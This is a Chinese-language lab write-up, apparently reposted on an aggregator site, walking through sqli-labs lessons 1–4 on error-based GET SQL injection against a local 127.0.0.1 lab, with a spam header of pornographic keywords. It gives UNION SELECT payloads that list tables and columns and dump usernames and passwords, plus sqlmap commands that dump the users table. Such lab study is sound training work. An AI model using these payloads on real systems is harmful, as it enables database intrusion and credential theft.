日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

基于GET报错的sql注入,sqli-lab 1~4

發布時間:2025/3/8 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 基于GET报错的sql注入,sqli-lab 1~4 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

根據注入類型可將sql注入分為兩類:數字型字符型
例如:
數字型: sleect * from table where if =用戶輸入id
字符型:select * from table where id ='用戶輸入id' (有引號)

通過URL中修改對應的D值,為正常數字,大數字,字符(單引號,雙引號,雙單引號,括號),反斜杠\來探測URL中是否存在注入點。

另外-- (這里有一個空格,–空格)在SQL內表示注釋,但在URL中,如果在最后加上-- ,瀏覽器在發送請求的時候會把URL末尾的空格舍去,所以我們用–+代替-- ,原因是+在URL被URL編碼后會變成空格。

sqli-lab less 1~4基于報錯的sql注入:

  • less1 GET - Error based - Single quotes - String
    1.輸入id值嘗試報錯點: ?id=數字
    發現在id值為1~14可以正常返回

    2.在id值(任意可以正常返回的id值)后添加單引號,發現報錯,可能存在sql字符注入,

可以得到,報錯的sql語句為'14'' LIMIT 0,1,輸入的引號閉合了id的前引號
猜測原sql語句為: select login_name,password from admin where id = 'id' limit 0,1+

3.利用order by 判斷有幾列數據
http://127.0.0.1/sqli-labs-master/Less-1/?id=1’ order by 3 --+
修改order by 后的值可發現1~3回顯正常,order by 4 回顯不正常,表示表有三列

4.使用union select statement : http://127.0.0.1/sqli-labs-master/Less-1/?id=15’ UNION SELECT 1,2,3 --+
查看顯示位,輸出2和3說明有兩個顯示位

5.利用union select 聯合查詢,獲取表名
0’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

6.利用union select 聯合查詢,查看users表下的列名:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+

7.利用union select 聯合查詢,查看username,password表下的字段值
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,group_concat(username,0x3a,password),3 from users–+
(0x3a表示分號)

得到所有的username和password

以上為手工注入過程,用sqlmap工具會更加方便快捷:

  • python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs

  • python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables

  • python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C username,password --dump


    得到username和password

  • less2.GET-Error based-intiger based
    和less1基本相同

  • less3 : Get-errsr based-single quotes with twist-string
    id=1’ --+回顯不正常
    id=1’) --+回顯正常
    說明是字符型注入
    語句與less1 相同

  • -less4 : Get- error bassed - Double Quotes - string
    id=1" 用雙引號回顯不正常
    id=1’ 和 id=1’) 都回顯正常
    可推測語句為 (id=“1”)
    是("")雙引號閉合型

    http://127.0.0.1/sqli-labs-master/Less-4/?id=1") --+ 回顯正常

    之后使用union select 聯合查詢
    顯示列名,表明字段

    參考:
    https://blog.csdn.net/sdb5858874/article/details/80727555
    https://www.bilibili.com/video/BV1Q54y1D7VV?p=4

    總結

    以上是生活随笔為你收集整理的基于GET报错的sql注入,sqli-lab 1~4的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。